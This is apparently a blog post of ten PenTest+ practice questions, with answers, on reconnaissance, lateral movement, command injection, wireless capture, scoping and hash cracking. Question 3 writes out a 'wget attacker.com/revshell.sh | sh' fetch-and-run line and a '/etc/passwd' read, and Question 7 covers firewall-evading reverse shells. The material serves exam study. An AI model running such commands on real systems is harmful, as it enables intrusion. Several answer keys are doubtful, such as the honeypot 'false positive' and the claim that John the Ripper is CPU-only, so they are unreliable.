10 CompTIA PenTest+ Practice Questions That Mirror the Real Exam
Here are 10 multiple-choice questions designed to match the difficulty, style, and domain coverage of the CompTIA PenTest+ (PT0-002) exam. These questions focus on practical application, tool usage, and the ethical/legal constraints of penetration testing, avoiding simple memorization.
Before you begin, remember that the PenTest+ exam emphasizes why a tool is used and how to interpret results, not just what a tool does. Pay close attention to the scenario in each question, as the "best" answer often depends on the specific context provided. Good luck! Our post on 10 CompTIA CySA+ (CS0-003) Practice Questions That Mirror the Real Exam covers this further.
Question 1
During the reconnaissance phase, you are tasked with identifying externally facing web applications and their underlying technologies without sending any traffic directly to the target. Which of the following techniques is the MOST appropriate for this passive approach?
A. Using nmap to perform a service version scan against the target's IP range.
B. Browsing the target's website and viewing the HTML source code for framework identifiers.
C. Querying public certificate transparency logs for the target's domain.
D. Using theHarvester to search for email addresses, which often reveals technology stacks.
Answer: C
Explanation: Certificate transparency logs are public, searchable databases of SSL/TLS certificates, which reveal domain names, subdomains, and sometimes the issuing CA, all without direct interaction. Options A and B involve direct interaction with the target (active reconnaissance). Option D is a form of passive OSINT, but it focuses on emails and personnel, not directly on web technologies.
Question 2
You have successfully exploited a vulnerability and gained a foothold on a Linux server. Your next step is to move laterally to a Windows domain controller. You discover the current user's password hash in memory. Which of the following attacks would allow you to authenticate to the domain controller using this hash without knowing the plaintext password?
A. Pass-the-Hash (PtH) attack
B. Brute-force attack
C. Rainbow table attack
D. Dictionary attack
Answer: A
Explanation: A Pass-the-Hash attack allows an attacker to authenticate to remote servers using the NTLM hash of a user's password without needing the plaintext. Brute-force, dictionary, and rainbow table attacks are all methods used to crack the hash to recover the plaintext, which is unnecessary for PtH.
Question 3
A penetration test contract specifies that you must avoid causing a denial of service (DoS) on critical production systems. You are testing a web application and find an input field vulnerable to a command injection. Which of the following commands is the SAFEST to execute to verify the vulnerability without causing harm?
A. reboot
B. cat /etc/passwd
C. ping -t 127.0.0.1
D. wget https://attacker.com/revshell.sh | sh
Answer: B
Explanation: cat /etc/passwd is a non-destructive command that proves command execution by returning file contents. reboot causes a DoS, ping -t creates a continuous loop, and wget | sh downloads and executes an arbitrary script, all of which violate the scope or are destructive.
Question 4
You are conducting a wireless penetration test. You need to capture the WPA2 4-way handshake from a client connecting to the target network. Which of the following tools is specifically designed to capture this handshake by putting the wireless interface into monitor mode and de-authenticating a connected client?
A. nmap
B. aircrack-ng Looking for more detail? See 8 CCSP Practice Questions That Mirror the Real Exam.
C. hydra
D. sqlmap
Answer: B
Explanation: The aircrack-ng suite (specifically airodump-ng and aireplay-ng) is the standard toolkit for capturing WPA/WPA2 handshakes by sending de-authentication frames to force a client to reconnect. nmap is for network mapping, hydra for online password attacks, and sqlmap for SQL injection.
Question 5
After completing a penetration test, you are writing the final report. You have identified a critical SQL injection vulnerability in a customer-facing application. Which of the following is the MOST appropriate way to document this finding to ensure the client understands the risk and can remediate it effectively?
A. Provide the raw exploit code and a list of all extracted database records.
B. State the vulnerability name, the affected URL, the CVSS score, and a clear remediation step (e.g., parameterized queries).
C. Only mention the vulnerability in the executive summary to avoid overwhelming the technical staff.
D. Recommend that the client immediately take the application offline and provide no further details.
Answer: B
Explanation: A professional report details the vulnerability, its impact (CVSS score), the exact location, and a clear remediation path. Providing raw exploit code and extracted data (A) is dangerous and unnecessary. Only mentioning it in the executive summary (C) fails the technical audience, and taking the app offline without details (D) is an operational decision, not a reporting one.
Question 6
You are performing a vulnerability scan with Nessus and receive a report showing a "Plugin 12345" with a CVSS v3 score of 9.8. The plugin output indicates the service is "Microsoft RDP" and the port is "3389/tcp". However, you know that this specific server is a honeypot set up by the client. Which of the following describes the scan result?
A. A false positive
B. A true positive
C. A false negative
D. An exploit
Answer: A
Explanation: A false positive occurs when a scanner reports a vulnerability on a system that is not actually vulnerable (or is not a real target). Since the honeypot is designed to mimic a vulnerable service, the scanner's report is incorrect regarding the actual security posture. A true positive would be a real vulnerability, and a false negative is a missed vulnerability.
Question 7
During the exploitation phase, you need to establish a persistent, encrypted communication channel with a compromised host that can survive a reboot. The target is behind a strict egress firewall that only allows HTTPS outbound traffic. Which of the following techniques is MOST likely to succeed?
A. A standard reverse TCP Meterpreter payload using port 4444.
B. A bind shell on port 8080.
C. A reverse HTTPS Meterpreter payload using port 443.
D. A DNS tunneling tool sending queries to attacker.com.
Answer: C This connects to what we discuss in How Hard Is CompTIA PenTest+, Really? An Honest Difficulty Rating.
Explanation: A reverse HTTPS payload on port 443 will blend in with normal encrypted web traffic and is likely allowed through the firewall. A reverse TCP on 4444 (A) is often blocked by egress filtering. A bind shell (B) requires the attacker to connect to the target, which is inbound and also blocked. DNS tunneling (D) works but is slower and more complex than simply using HTTPS.
Question 8
You are tasked with performing a penetration test. The client has given you explicit written permission to test a specific range of IP addresses. During the test, you accidentally gain access to a server outside of this authorized scope. What is the FIRST action you should take?
A. Explore the server to determine if it is a critical asset.
B. Document the access and immediately stop testing that server.
C. Use the server to pivot back into the authorized scope.
D. Erase all logs on the server to cover your tracks.
Answer: B
Explanation: Testing outside of the defined scope violates the rules of engagement and potentially the law. The correct action is to immediately cease testing, document what happened, and report it to the client/point of contact. Exploring (A) or pivoting (C) furthers the violation, and erasing logs (D) is destructive and unethical.
Question 9
You are reviewing a Python script used for a penetration test. You see the following line of code: target_ip = "192.168.1.1". Which of the following coding best practices is being violated in this script?
A. Lack of input validation
B. Use of hardcoded credentials
C. Use of hardcoded IP addresses
D. Lack of error handling
Answer: C
Explanation: The code directly assigns a static IP address to a variable, which is a hardcoded value. Best practices dictate that such configuration parameters should be externalized (e.g., via command-line arguments or a config file). While input validation (A) and error handling (D) are important, they are not demonstrated in this single line. The line does not show credentials (B).
Question 10
After exploiting a web application, you need to access a database. You find a SQL injection point and are able to extract the username and password hashes. You plan to crack the hashes offline. Which of the following tools is the MOST efficient for performing a high-speed, GPU-accelerated dictionary attack against these hashes?
A. john (John the Ripper)
B. hashcat
C. cewl
D. crunch
Answer: B
Explanation: hashcat is the industry standard for high-speed, GPU-accelerated password cracking. john (A) is a CPU-based cracker, which is slower for large dictionaries. cewl (C) is a tool for generating custom wordlists from a website. crunch (D) is a wordlist generator, not a cracker.
These questions represent the analytical depth required for the PenTest+ exam. Remember to always consider the scope, the client's goals, and the most efficient tool for the job.
If you want to organize your remaining preparation time, a free CompTIA PenTest+ study plan gives you a schedule that fits the hours you have.
Expose the topics you have been skimming by sitting CompTIA PenTest+ practice exam questions without notes.
After working through these questions, a free CompTIA PenTest+ readiness check gives you a quick check of which topics still need review.